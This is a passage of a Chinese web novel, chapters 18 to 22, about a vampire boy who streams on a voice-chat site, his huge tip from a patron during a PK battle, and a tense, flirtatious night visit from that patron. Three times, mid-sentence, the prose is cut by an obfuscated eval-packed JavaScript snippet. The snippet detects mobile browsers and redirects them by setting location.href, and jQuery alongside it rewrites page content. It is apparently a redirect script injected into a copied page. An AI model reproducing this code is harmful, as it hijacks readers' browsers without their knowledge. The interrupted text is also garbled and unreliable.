[小耳朵这个怂怂的样子,什么事儿能和他有过节?] 山屿在耳机里不耐烦地嗤了一声,耳麦里传来他似乎扭动脖子关节发出的咯咯的声音: “别废话了,打不打?” 亲亲小耳朵:“打。” 18. 第 18 章 山屿可能没有料到小耳朵这种情况下还会应战,短暂愣了一下,语气又恢复了更不耐烦: “五分钟,2,2,1,谁先?” “你先。”春风哥抢了麦插了两个字进来。 5分钟pk,分为2分钟、2分钟和1分钟轮着来。 这样先打的那个人相对会吃亏一点,容易最后被反超。 春风抢先开麦让山屿先来,其实也是在偏心宁尔了。 山屿切了一声,说了句“开了”,就开始计时开麦。 他有自己的固粉,刚刚拉扯了这么长时间足够把人都摇来了。 山屿说了自己那套流利的开场白,他的声音不难听,毕竟想在这个圈子里混饭嗓音还是得过关。 两分钟熟练的开场白,暖场,再加上消失了很久,好像老友见面、偶像回归一样,唰唰唰直接收获了满屏的礼物。 与此同时,春风哥在私下给小耳朵发消息: [山屿从第一天播说话就不算客气,人很高冷,“切”算是他的口头禅,不算专门针对你,别往心里去啊。] 宁尔很惊讶: [这样也会有观众喜欢吗?] 春风与你皆过客:[害,花花世界,各有所爱。他之前还在语音房直接骂过观众,我们都以为他要凉了,结果第二天粉丝反而更多了。还夸他真性情,就爱看他这幅臭脸赚钱之类的。] [……] [春风哥,你觉得,他说得请假的事,是真的吗?] 春风沉默了一会儿: [不好说,互联网世界真真假假,咱也没办法求证。] [不过你放心,你毕竟是我招进来的,哪怕这个房里没有你的位置,我还有其他关系好的房主,我帮你推荐,不会让你没地方去。] 宁尔蹙着眉隔着屏幕苦笑了一下: [春风哥,你也觉得我肯定会输吗?] 春风:[都开始打了,不说这个了。好好表现。] 山屿的两分钟很快就到了,短短两分钟,总计魅力值已经达到了800。 就是800圆子。 山屿赚到800块,只需要2分钟。 他最后故意话说了一半儿留足悬念,评论区里他的粉丝也被带的气势水涨船高。 [怎么两分钟这么快啊] [没刷够没刷够] [网卡了一下刚刚充好的大火箭没送出去啊] [哈哈哈留点留点,万一人家对面偷塔呢] 山屿的粉丝丝毫不顾及小耳朵是个新人,调侃了一会儿叫宁尔上麦。 亲亲小耳朵那边手机嘎达响了一声,像是找角度把手机放稳,然后用惯常的语气打了招呼。 各种小礼物很快在前30秒内堆满了屏幕,刷得都看不清字了。 “谢谢,谢谢宝们送来的礼物。” 亲亲小耳朵不知道是心情不好还是怎么了,语调是一种软绵绵的无力感。 “可是,你们一定不要刷太多。如果还没有赚钱的话,那就更不要多刷了。” “因为我不知道你们有没有体会过没有钱的滋味,那种滋味特别特别难受。所以,宝们……真的谢谢你们……” 亲亲小耳朵后面的几句话越来越发虚,等到说完这句干脆没声了。 两分钟的倒计时只剩三十秒,整整三十秒都是空白的。 春风皱着眉等了十几秒,看小耳朵还没音,直接给他发了私信: [???] [怎么没声了?网卡?你看看附近有别有别的网可以蹭,赶紧连上。] 没有回复。 没有声音的后的三十秒礼物寥寥无几,不过最后的总计也有580多魅力值。 春风紧紧盯着屏幕,还可以,没差太多。 他打开个人账户的钱包,把一部分收益直接转成现金提了出去。 开麦权再次回到山屿手中,接着又是一波输出。 他只说了一句希望不是最后一次给你们唱歌,然后直接唱了一首以前的顶流歌手情歌,唱功只是业余水平,但歌曲传唱度和感染力非常高,再加上清冷的嗓音和个人风格态度,两分钟又收到了2000多礼物,瞬间把差距拉得更大。 很快又轮到了小耳朵。 计时自动开始,十几秒了小耳朵的声音还是没有出现在麦里。 原本还再努力刷屏的小礼物也渐渐稀疏下去,只靠零星地几个最便宜的小爱心小灯牌撑撑场子。 加上山屿刚刚用掉的时间,已经过了好几分钟。 春风切回私信界面,小耳朵也没有回复他。 评论区不知道谁先带了头: [人呢?不能这么久都网不好吧?] [挂机了?] [哈哈哈哈哈打pk挂机还是第一次见] [又是谁的王者队友。] [@春风你能联系到小耳朵吗?感觉像是有什么事儿啊] [是啊,他刚刚声音听着就有点儿不对劲。] [有什么不对劲啊,看到赢不了吓跑了呗。] [2502年了装网卡这招原来现在还有人在用啊] [这怎么算啊?不会等会儿说这局不算重新来吧?] [那就很有趣喽] [哎?输了什么惩罚啊?不能只是让出4号麦这么简单吧?] [@春风与你皆过客@亲亲小耳朵吱一声吱一声] 春风这边狂发消息,小耳朵一直没有回。 小耳朵所说的和山屿的过节,他内心的判断倾向于小耳朵说的是真话。 但毕竟接触不久,他无法判断小耳朵此刻的断联是否真像评论区说的那样,觉得打不赢跑了。 毕竟以前确实有小主播干过这种事。 小耳朵的两分钟很快就这么沉默过去了。 山屿:“他还来不来了?” 山屿在语音房里冷漠不耐烦地发问。 众人都沉默了一下,春风的最新一条消息小耳朵也还没有回复,他咳嗽了一声,沉声道: “是这样,我现在确实没有联系上小耳朵,等有消息会几天在房间里说。” “今天的PK发起突然,他是新人第一次不懂。都是一个团里的,山屿,保留前两分钟的魅力值,下次在单P3分钟,你接受么?” 果然评论区立马: [好好好这么玩是吧?] [就知道房主要这么说,偏心别太明显了啊。] [??这能一样吗?下次是哪次?] [pk暂停咱也是第一次听说。] [高考暂停,我去抄篇范文。] [比赛暂停,我去睡一觉恢复体力] [别太过分了] [别太过分了] 带节奏的评论瞬间刷满了屏,不止是山屿的粉丝,还有一些不明所以的路人。 所有支持喜欢小耳朵的都只能干着急,她们的猜测解释很快就被淹没在这个节奏的玩梗和调侃当中。 春风被艾特地屏都快卡了,正要开麦说什么,评论区忽然出现一条前缀很长、20多级评论: [不用重新来。] ID:银耳粥。 这个是。这个是昨天给小耳朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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都是嘉年华。 银耳粥给春风与你皆过客赠送了嘉年华×1 银耳粥给2号麦寒夜赠送了嘉年华×1 银耳粥给3号麦麦兜兜赠送了嘉年华×1 银耳粥给5号麦流浪小皮赠送了嘉年华×1 银耳粥,给除了亲亲小耳朵之外每一个麦上都送了一个嘉年华。 [大哥什么操作???] [大哥对小耳朵因爱生恨了?] [你们别说,你们先别说] [粥老板……怎么像打赏以前给所有人随麦礼啊?] 指定主播上麦表演时,需要同时给其他主播打赏一个小礼物。 这个规则昨天春风与你皆过客给粥老板讲过。 粥先生是个上道的体面人,昨天他刷了6万6的时候,给每个人刷了一个66块的火箭。 今天给他们都刷了嘉年华,那小耳朵…… [其实pk时候不用随麦礼……] 众人愣住的一刹那,不知道多少发火箭炮用同样的特效叠加在一起,时长几乎一分钟,照得直播间公屏亮得像出了bug。 正在直播的山屿愣得一时停住声音,评论区也一瞬间静止。 只有公屏上缓慢地飘过一句话公告: 银耳粥给亲亲小耳朵赠送了火箭炮×10000。 19. 第 19 章 你们当中有人杀死了比赛。 [夺少?他刚刚说夺少?] [我没听错吧……] [我是不是熬夜太久出现幻觉了] [火箭炮现在还是66rmb吗?] [omg……富婆姐姐刚刚是刷了66万吗……] [没错没错,真的是66万啊啊啊啊啊] [啊啊啊啊啊我疯了] [楼上纠正一下,是哥哥。] [打山屿真的需要这么多吗……] [这是什么新型羞辱方式吗?] 诡异的沉默过后整个语音房直接沸腾了,语音房刚刚的白热化互怼本来已经吸引了一大批观众。 66万的礼物金额,直接把语音房抬到了互动榜的日榜top1。 一个不露脸的纯语音虚拟恋人平台,一场甚至不到5分钟的pk,一次性打出66万实在是太罕见了。 是真神还是冤种? 是为爱一掷千金还是第二天申请未成年退款? 语音房迅速涌入了一堆新观众,像瓜田里的猹一样好奇刚才这个房里究竟发生了什么。 [谁能给我讲讲刚刚发生了什么?] [谁懂,这个房里好像还残留着火箭尾气的芳香] [上电视合影] [上电视合影] [来蹭蹭火箭尾气] [蹭蹭火箭尾气+1] [播了三年没见过这么多钱,接接接] [长这么大没见过这么多钱,接接接] [不开玩笑这个真得接] [@房主房主放放录屏吧球球了,让孩子见识见识66万] 几万观众都涌入平台,山屿的头像直接变灰掉线。 傅宴舟的账号由于设置了不允许除亲亲小耳朵以外的任何人关注,于是在评论区被频繁@。 傅宴舟面无表情退出语音房,切回私聊拨通了亲亲小耳朵的语音电话。 “甜蜜恋爱来电啦~甜蜜恋爱来电啦~” 彩铃声不知道响了多久,终于在停顿了两秒钟后,传来了男孩虚弱的声音: “舟先生……” 宁尔仿佛听到电话那边男人不轻不重地松了口气,声音发沉: “你怎么了?” “我,我不知道为什么,忽然肚子好疼好疼……” 宁尔痛苦地蜷缩在床上,额头因为疼痛青筋绷起,秀眉痛苦地蹙在一起,双眼紧闭,嘴唇发青,虚弱地对着手机讲电话。 他从直播开始就隐隐约约觉得肚子有点疼,直到后面越疼越厉害。 等到打pk的时候几乎已经疼得坐不住了,但他害怕大家以为他是怕山屿,硬撑到了开始计时。 直到最后痛得甚至坐不住。 一股从胃里涌出仿佛搅弄五脏六腑的疼痛让他再没力气去看手机。 “抱歉舟先生,我的pk怎么样了,那个骗子……呜……” “你不要再去想那些,以前有这个毛病么?” “从来没有过……呜……” 宁尔以前是一只身体很好的吸血鬼。 “可能是因为吃得太多了……” “你喝了几杯奶茶?” “除了、除了一杯给朋友,剩下的,全部都喝掉了。” “因为,朋友说,奶茶过一夜会变质,必须今天都喝掉。” 少年的声音已经虚成这样了,仍然认真地说着那些奶茶。 傅宴舟感觉太阳穴突突跳了两下,他之所以让肖特助只点五杯,就是怕小耳朵喝不下放过夜。 “你朋友在身边吗?现在去医院。” 舟先生斩钉截铁提出解决方案。 “不行,不、不去医院、不去医院。” 宁尔一听医院着急起来,又因为着急又牵动了疼痛, 舟先生仿佛想到了他没有证件的事,开口道: “去上次那家医院,不需要证件。也不需要任何支出消费。” “不行,不、不要去,谢谢你舟先生,我不、我不能去……” 上次他去过医院之后才知道,小小的膝盖受伤,人类竟然有办法拍一张照片就看到他的骨头。 这次他是肚子疼,如果看他的肚子,搞不好会看到什么…… 宁尔下意识把小肚子捂地更紧了一点。 “为什么不能?” 宁尔听到舟先生的语气似乎有点不高兴,电话那边传来一声重重的拍门声。 “对不起舟先生,我、我不能说……” “舟先生,我想麻烦您,请问您能再帮我点个治肚子疼的药吗?就像中午的外卖一样,我可以把钱转给你。” 舟先生像是在电话里带着怒意地笑了半下: “你朋友呢?” “他,我还没来得及给他发消息。他也在缘来直播,现在可以刚好有点忙。” “我现在给他发个消息……” “不用了,再问一次,你确定不去医院?” 暂时没有了回答。 舟先生声音发紧了一些: “小耳朵?” “对不起舟先生,刚刚又好疼好疼……嗯,不去,我想睡觉……也许睡醒就会好了。” 小时候妈妈、不对,公爵夫人总是告诉他,遇到困难睡大觉。 也许一觉醒来就好了。 他刚刚来到人类世界的时候也每天躲在桥洞底下盖着编织袋睡大觉。 每天都在幻想再次睁开眼时已经回到了吸血鬼的世界。 一切只是一场梦。 绅士严肃的爸爸还是他的爸爸,温柔美丽的妈妈还是他的妈妈。 疼痛让宁尔的眼角有些生理性湿润。 一时间的走神,他才意识到自己好像有一会儿没和舟先生说话了。 “舟先生、舟先生”他冲着手机叫。 舟先生好像把电话挂了。 宁尔刚想努力睁开眼睛打开手机,手机里忽然传来舟先生有磁性的声音: “我在。” 他的声音好像稍微远了一些,但短短两个字打在宁尔心上,却让他莫名安心。 “给你叫了外卖,加急,再过十分钟到。” “不要睡觉。” “也不要挂电话。” 宁尔:“好……” 宁尔的心里仿佛一瞬间安定了一点儿,十分钟,是很短、很快的。 “谢谢你舟先生。谢谢你今晚有看我的直播。也谢谢你给我点的奶茶,很好喝。” “现在还觉得好喝么?” 舟先生那边好像正在开会,或者看电视,耳机里隐约能传出一个女性的声音。 “很好喝,甜甜的,有好多好多口味,葡萄,西瓜,青柠檬。” 宁尔虚弱地傻笑了一下,在心里吐了吐舌头。 他又在骗舟先生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15653336|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 吸血鬼根本尝不出来水果的味道。 他只能分得清鲜血、冷藏血、冷冻血块、添加剂血味儿饮品的区别。 “舟先生,刚刚的pk我是不是输得很惨啊。” “舟先生,山屿就是那个骗子,你还记得吗?你可能不记得,但我会一直记得。” 可是记得又有什么用呢,还不是连4号麦都得还给他。 宁尔不是他骗得第一个人,也不会是最后一个。 而他现在因为不敢暴露自己,连揭发他不让他继续骗人的勇气都没有。 “我记得。”舟先生的声音很果断告诉他。 宁尔稍稍愣了一下,在黑暗中轻轻咬了咬嘴唇: “算了,给他就给他好了。” “明天我再去找新的语音房。” “舟先生,我现在已经有100多个粉丝啦。” 他此刻还完全没有看手机,不知道自己已经凭借刚刚的一幕涨了10倍粉丝。 舟先生声音轻展了一些,像是哄小孩一样: “嗯,祝贺你。” 舟先生身边那个女声更频繁起来,宁尔感觉自己因为疼痛有些眩晕,他努力把身体努力往床头靠了靠,让后背顶着硬物: “舟先生,你是不是在忙呀?” 他脑子里勾勒出一个对于成功男士人类的想象样子。 想象里,舟先生穿着高级板正的西装,衬衫和袖扣系得工工整整,把头发梳成大人模样,戴着金丝框眼镜,一丝不苟地在会议室里和歪果仁谈着生意。 宁尔想象不到他的脸。 但舟先生的声音很好听。是和他们直播房里所有陪陪都不一样的好听。 那种沉稳的,能让人安心的哥哥的声音。 不过陈元之也告诉过他,声音和相貌不一样的人太多了,有很多萝莉音其实都是圆形大汉。 尤其大老板,啤酒肚秃头的都不少。 舟先生…… 宁尔赶紧甩到了这个不好的想法。 怎么可以以貌取人呢? 不管舟先生长什么样,给他点外卖、给他买药、给他打赏对他好都是真的。 “舟先生,你要不要先忙呀?等我吃过药后,会、会立刻告诉你。” 宁尔在一阵疼痛的间歇收回了思绪。 舟先生那边声音嘈杂了一下,好像有什么纸袋摩擦的声音,女人的声音不见了,变成一个男人和他说话的声音,紧接着就是“怦”地一声。 舟先生,好像确实在忙。 宁尔声音稍微低迷了一些: “舟先生,抱歉给你添麻烦了。明明是你点我做虚拟恋人的……” “你也知道,你是我点的虚拟恋人。” “嗯……所以怎么了舟先生?” “所以,你应该叫我什么?” “……对、”宁尔张了张嘴:“对不起,我刚刚忘记了。” “哥哥。” 小声的称呼让宁尔的脸热起来,幸亏楼道里传来由远及近的脚步声。 大概是外卖到了。 “药好像到了,我先去拿……” “你先去忙,我吃完药就发消息告诉你……哥哥?” 又一阵疼痛在舟先生开口前袭来,宁尔痛苦地呜了一声,紧接着,电话里和门外同时响起了两声敲门,以及从两个地方传来的一模一样的声音: “嗯,到了。” 20. 第 20 章 明明是两个地方的声音,此刻交叠在一起,让宁尔湿漉漉的双眼茫然睁大,瘦削的身体缓缓从床上撑起来,难以置信地看着那扇破旧的木质门。 他看了看门,又看了看手机,睁大眼睛快速眨着。 刚才那道声音仿佛在耳边萦绕,宁尔有种对人类世界不了解的迷眩里。 他是不是肚子太疼,或者因为在想舟先生,出现幻觉了? 可是,可是,他明明是一只听力很好的吸血鬼。 所以……那是…… 宁尔呆滞地从床上爬起来,跌跌撞撞地走向门边。 宁尔的脚步在门边停下,他感觉自己的呼吸一下比一下迟缓、加重,走到门边时都感觉呼吸都要停滞了。 心提到了嗓子眼,本就柔软的嗓音因为紧张有些颤抖,尾音拖得绵长: “舟、哥哥?” 舟先生没有再回答,指关节在门上刻意缓慢地敲了两下,示意。 手机里和门外同频率的声音合二为一,宁尔感受到了猛然提升地心跳速率,鼻子里一瞬间不受控的委屈发酸。 廉价出租楼蔓延着潮湿腐朽的味道,楼道里闪烁昏暗的灯光钻到门缝里,隐约还伴随着呲啦的电流声。 “舟先生……” 宁尔侧着身体靠在门上,声音非常、非常轻。 舟先生终于把手机拿远,对着门道: “嗯,是我。” 仅管只是简短的三个字,宁尔能听出来,舟先生的语气里也有一些不自在的拘谨。 但更在耳边传导而来的是宁尔自己胸腔里跃动不停的心跳声。 那个在这个网络世界里第一个找他聊天的人,那个看他的魔术、让他去医院治病、给他刷礼物让他获得常驻机会,关心他的陌生人。 在这么大的人类世界里,在这个永远霓虹璀璨高楼大厦的A市里—— 此刻竟然就站在这扇门外。 破旧的木门上没有猫眼,宁尔无法看到他的样子。 宁尔把手放在冰冷的圆形门把手上,心中有一种说不出来的奇异魔幻感。 “舟先生,你、你怎么会来?” “我再不来,某个笨蛋晕倒在房间里可能都没人发现。” 他的声音沉稳、低缓,没有任何真正责怪的情绪。宁尔第一次这么近距离听到舟先生的声音,比在网上聊天要更加温柔、有磁性一些。 “舟先生我、我真的不去医院,真的不要。” 宁尔惊讶激动的复杂情绪还没持续多久,一阵疼痛涌上,瞬间提醒了他的害怕。 “别害怕。不去医院。” “我按照你的症状带来医院开得药,按疗程吃。” “你、你是专程来给我送药的吗?” “嗯,开门。” 舟先生的声音十分自然,自然地好像和宁尔认识了很久、对他的关心都是理所当然的熟练,就像网上听他碎碎念的那个舟先生一样。 宁尔想都没想,下意识就要听话地打开门。 门把手被旋转地“咯噔”一声,宁尔发懵地脑袋忽然意识到了什么,猛地又把门“怦”地关上了。 他现在出去,不就直接被舟先生看到了吗?? 他还从来没想过和舟先生见面。 而且,哪怕是见面,也绝对不能是现在这个样子。 陈元之说过,网恋和网骗最害怕的就是见光死。 多少主播都是上头之后答应大哥大姐奔现,见面的一刻当场失恋。 轻则一刀两断,重则全额退款。 宁尔从上往下看了自己一圈,被他糅滚地皱得像抹布一样的T恤,膝盖上仍然发青的伤痕,乱得像鸡窝头一样的脑袋,还有他此刻的白得像鬼的脸色。 不用照镜子也知道,一定难看死了。 还有这间潮湿阴暗的小屋。 他一定、绝对、不会用这副样子去见舟先生。 如果舟先生见到他这副样子,可能不仅会讨厌被他骗钱,还会把以前刷的礼物全部要回去。 一定不能。 鬼脑子飞速转动了一会儿,宁尔后怕地用背部靠着门,声音极其不自然: “舟先生、你、你先走吧。” 门外的舟先生好像也愣了一下: “什么?” “我、我是说,你把药放在地上,然后离开。” 宁尔把这句话推出嘴边,手掌用力地捏着仍旧冰冷的门把手,背靠在门上,大口大口地吸气。 隔着薄薄的木门,宁尔不敢想象舟先生在外面的反应。 过了十几秒,舟先生缓缓开口道: “你不想见我?” “不、不是。” 宁尔赶紧否认,但很快又把这句也否认掉: “不想见,但是,但更不想让你见我。” 门外舟先生的沉默好像更深了一点儿,然后用一种似乎有些开玩笑的语气问: “因为我们只是网友?” “还是害怕我是秃头啤酒肚,想对你做些什么的中年猥琐男性?” “我没有舟先生,我没有。”宁尔赶紧解释: “哪怕您是秃头、啤酒肚,您对我的好是真的。” “我只是……只是……”宁尔只是了半天,却说不出来。 要做一个合格的、没有感情的网恋骗子。 除非舟先生亲自冲进来打开灯看到他现在这副狼狈的丑模样,否则,绝对不能自爆。 既毁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15653337|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉自己在网络上的形象,又打破舟先生的幻想。 “知道了。” 沉默了半晌过后,舟先生的声音回归沉静。 知道了……是知道什么了?…… “药分为各种种类,作用不同,起效时间有差异。必须按顺序时间吃,我转身背对你,你从我手里按顺序拿走。” 片刻的窸窣过后,舟先生好像转过了身。 这下宁尔没有理由拒绝了。 他想小声问一句“真的吗”,但很快又打消了这个念头。 舟先生说的话,好像从来都有一种不需要怀疑的安定感、信任感。 一声轻轻地咯噔声,木门被宁尔吱吱呀呀地缓缓拉开。 房间里没有开灯,半扇门拉开,楼道里昏暗闪烁地光投射在从面前高大的男人身上越过,扫在宁尔的肩上。 宁尔站在舟先生笔直高大身材后的阴影里,像个鹌鹑一样,低垂着脑袋,只能用余光瞥见舟先生笔挺的深色西装裤脚,和那双深棕色的哑光皮鞋。 “舟先生,你、你能闭上眼睛吗?” 没有门的阻隔,没有网络的距离,少年轻软的声音第一次在耳边响起。 傅宴舟感觉自己心跳了一下,任由自己在昏暗里敛上眼眸: “嗯。” “舟先生,先拿哪只手里的?” 男人伸出了左手。 宁尔仍然垂着眼眸,脚下稍稍往前挪动了一点点,鬼鬼祟祟地伸出手。 指尖在接触的刹那误划到舟先生的手掌,好热。 宁尔仿佛被烫了一下,收回手,舟先生紧接着递过来一瓶拧开的矿泉水。 咕嘟咕嘟。 宁尔再次伸手,又摸到一种药。 咕嘟咕嘟。 “最后这种是冲剂,在保温杯……” 舟先生话音未落,宁尔的手已经先一步探了出去。 指尖未触及预期中的温暖掌心,反而径直贴上了男人衬衫下包裹着的硬邦邦的部位。 □□隔着衬衫仍能传导出人类的温度。 隔着丝质衬衫,掌下肌肉的轮廓清晰可辨。 这里是…… “对不起舟先生我不是故意的……” 宁尔耳尖倏地烧了起来,纤长的手指触电般蜷缩,浑身都颤抖了一下,却在抽离的瞬间被一只灼热的大手牢牢扣住。 舟先生的掌心像块烙铁,将他冰凉的指尖重新按回原处。 忽然拉近的距离让宁尔整个人几乎趴在舟先生的后背上,木质冷香混着体温扑面而来,掌下的腹肌随着呼吸微微起伏。 那股热意顺着指尖窜上脊背,激得他睫毛轻颤,连道歉都带上了细微的颤音。 “硬吗?” 21. 第 21 章 楼道里的灯彻底熄灭,舟先生在黑暗中响起来。 宁尔的胸膛几乎要全部贴在舟先生劲瘦的后背上了,裹挟着木调的淡雅幽香不断传来。 还伴随着的强烈的陌生男性的荷尔蒙。 自己在……在摸舟先生…… 那个网络上话很少的大老板、舟哥哥,正在他的指尖之下。 “嗯……” 宁尔蚊子叫一样小声回答。 “确定?” 舟先生又把宁尔的手往腰腹部块垒分明的薄肌上按了按。 奇怪的触感从手部传导到整条胳膊,涤纶T恤和衬衫布料摩擦出细微的沙沙声,宁尔的手指尖忍不住蜷缩起来。 “确、确定的舟先生。” “所以,网络上给你打赏的虚拟男友并不是秃顶啤酒肚。” 嗯…… 原来是在说这个…… 宁尔在黑暗中脸红地更厉害了,他刚要说什么,对门里忽然响起了陈元之的一声高喊,像是特别激动,紧接着就是一阵往门边走的踏踏脚步声。 宁尔立马意识到陈元之要干什么,他瞬间脸色涨得通红,在男人身后说了一句“别睁眼”,同时用一股快得不像是人类的力气,以极快的速度把人直接反手拽抱回了房间里。 舟先生整个人被他推按到房门上,撞得下意识闷哼了一声。 宁尔意识到自己力气大了,连忙伸手想去抚弄他被撞疼的后背。 但他又怕舟先生发出声音,慌乱中直接整个人贴抱在舟先生身上,用冰凉的食指按在了舟先生的嘴唇边: “嘘。” “小耳朵?小耳朵你睡了吗?” 陈元之大大咧咧乓乓乓地拍门的声音传来,木门在舟先生身后一晃一晃地。 宁尔的心都要从嗓子眼儿里跳出来了,他尽量假装睡眼惺忪,控制着音调小声道: “我睡着啦。” 宁尔感觉被他按在门上的舟先生轻笑了一下。 “我靠,这么重要的时刻你都能睡得着?那可是总榜top2啊!!10000个火箭炮啊!!!你别告诉我你没看到啊!!” 元之在叽叽咕咕激动什么呀。 “我的肚子很疼,所以先睡了。” 门外的陈元之愣了一下: “肚子疼?怎么回事儿?我给你看看?” “不、不,不用了。我外卖叫了药,已经吃过了。” “你自己叫的?你刚刚给我发消息也是这事儿吗?我刚才忙着团建呢,没看手机。” “嗯嗯,没事,没事了。” “哦,行吧,那你先睡吧,反正你也不用播了。” 陈元之做事很简单,听到宁尔说没事儿之后就要走。 宁尔听到他的脚步声回去,刚刚想人从舟先生身上起来,下一秒陈元之的声音忽然又贴回了门边,吓得宁尔整个人又直接撞回了舟先生身上。 舟先生好像又极其轻微地笑了一声。 “哎?你有没有听到刚刚外边有什么动静啊?走廊里来过人啊?” “没、没有。”宁尔咽了口口水。 “不对、来过,给我送药的外卖员。” “哦,难怪。我就听到外面好像有人。” “这外卖员够潮啊,大半夜地还喷香水。” “……” 陈元之嘟囔完就又回到了自己的房间。 听到关门声响起的那一刻,宁尔才长长地松了口气。 高度紧张的时刻过去,宁尔才意识到此刻正是一个什么糟糕的姿势。 舟先生被他牢牢地抵在门背上,宁尔的一只手扶放在舟先生的后背,另一只手还没来得及把食指收回来。 舟先生比他高很多,这个姿势下,他的半个脑袋正好卡在舟先生的颈窝处,毛茸茸的脑袋动一动就能蹭到舟先生的下巴…… 宁尔赶忙把食指收回来,指尖还残存在舟先生唇上的温度。 “小耳朵还挺会骗人的。” 舟先生的声音从脑袋顶传来,毫不留情戳穿他,臊得宁尔脸更烫了起来。 屋子里没有开灯,只有皎洁的月光透过那扇半矮的窗洒落在床边。 不知道会不会照到他们。 “舟先生,你睁开眼睛了吗?” “还没。” “那、那你……”宁尔缩了缩脖子。 “怎么,刚陪你藏完,就又要赶我走了?” “不、没有,没那么快……” 宁尔的身体现在几乎是和舟先生面对面贴在一起。 他感受到说完这句话之后,舟先生的身体稍微往后让了让,像是默认要睁开眼。 不行! 宁尔在心底里呐喊了一声。 下一秒,他干脆直接眼睛一闭心一横,整个人往前半步,迎着舟先生,全身紧紧地贴靠在舟先生的胸膛前,下巴“咚”地一声落在了舟先生的肩头。 这样,哪怕是舟先生睁开眼也不会看到他了! 小耳朵,你就是个天才。 舟先生显然被他突如起来的动作弄得愣了一下,整个人身体随之被撞得晃动。 片刻迟疑后,舟先生忽然缓缓抬起手臂,修长的手指在空中顿了顿,最终轻轻落在宁尔单薄的后背上。 男人宽厚的掌心透过衣料传来灼人的温度,宁尔将脸埋在他肩头,清冽的雪松混着淡淡的檀香气息萦绕鼻尖。 宁尔被他手掌的温度烫地浑身颤抖了一下。 这个是,抱抱? 他一个小吸血鬼,被一个人类,拥抱住了? 还是一个男人。 还是网络上的那个“虚拟恋人”。 宁尔的心砰砰砰狂跳起来,自己两只垂着的胳膊一时间不知所措。 胸膛贴近在一起,宁尔感觉耳朵嗡了一下,仿佛一瞬间只能听到自己和另一颗心脏在有力的同频共振。 怎么会……变成这个奇怪的样子呢…… “还疼吗?”舟先生先开口了。 宁尔愣神,然后才仔细感受了一下。 人类的药效好厉害,再加上被胃部被舟先生的体温温暖着,好了太多太多。 “不、几乎一点儿都不疼了。” “嗯。” 舟先生简单地嗯了一下,似乎对自己的药很有把握。 “你太瘦了。” 似乎是感受到了他后背脊骨的瘦削,舟先生手掌在他后背轻抚了几下。 他的手掌在宁尔后背上力度把控地很有分寸,不轻不重,给了宁尔一种久违的安全感。 “我、我一直都很瘦。” “不过我现在已经有好好吃饭啦舟先生。” “自从你给我刷了那么多礼物,告诉我要好好吃饭以后,我都有认真吃。” 宁尔柔软、认真的声音在小细浪般在出租屋狭潮的夜色中流淌。 他在认真回答这个问题的时候,脑子里冒出来的都是网上那个“银耳粥”的系统默认头像。 丝毫没有和他现在抱着的人联系在一起。 就好像,就好像有两个舟先生…… 诡 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“你、你闭上眼睛,我打开门带你出去。可以吗?” 宁尔小小声。 “你放心,我也一直低着头,没有看到过你的样子。” “可以。” 舟先生的语气又听不出什么情绪了。 “对了舟先生,刚刚我朋友说的首页总榜是什么事情你知道吗?听起来好像是很大的事。” 舟先生离开之前,宁尔忽然又想到了刚刚直播的事儿。好像瞬间忘了自己还被抱着,脑袋搭在舟先生脑袋上问出一大段话。 ……够敬业的。 “也许。”傅宴舟言简意赅。 “和我有关吗?” “嗯。” “刚才和山屿的pk你赢了,有人给你刷了礼物。” “是、你吗?” “嗯。” “刷、刷了很多吗?” “也许。” “很多是多少米呀?” 傅宴舟顿了一下: “足够赢的价格。” 傅宴舟仍旧闭着眼认真地回答宁尔的问题,丝毫没有意识到少年不知道什么时候已经抬起了下巴。 宁尔迷离的目光落在了男人脖颈处随着说话起伏的动脉上。 月光不知道什么悄然偏移,在少年圆圆的后脑勺上镀了一层银白色的霜。 窗外圆月高悬,身边人类叽叽咕咕。 吸血鬼翡翠般碧绿眼眸不受控地一点点幻化出猩红色,薄唇间的尖牙悄然生长。 他眯着眼凑到舟先生的脖子旁边,细嫩的皮肉下涌动着有生命力的血液。 木质香调掩盖不住诱人的血液滋味,有力的脉搏令宁尔沉醉着迷。 宁尔丝毫听不清舟先生在说什么了,眼神迷离,用脑袋一下一下蹭着他的颈窝。 冰冷的鼻息喷在舟先生颈上,尖牙在刺破皮肉分分毫之距停下。 他的手不知道什么时候抚按在了舟先生的胸口处。 人类有力的跳动心脏在最后一刻唤醒了宁尔的理智。 宁尔用尖牙咬到了自己的唇上,极度隐忍克制的声音变成了小小的喘息,喉结随着喘息上下滚动: “舟先生,你闻起来,好诱人啊……” 22-30 第22章 那个男孩以后不会缺钱了…… 宁尔把舟先生推出房门的后一秒, 楼道里的灯忽然就又好了。 昏黄的光线扫到了门缝里,他赤着的那双脚上。 宁尔确信,舟先生没有看到他其他狼狈的样子。 仿佛耗尽了全身的力气, 宁尔懵懵地从门后滑倒, 双手撑在地上坐着。 好香啊。 人类, 好香啊。 舟先生,好香啊。 舟先生的血液的香气几乎可以穿透肌肤, 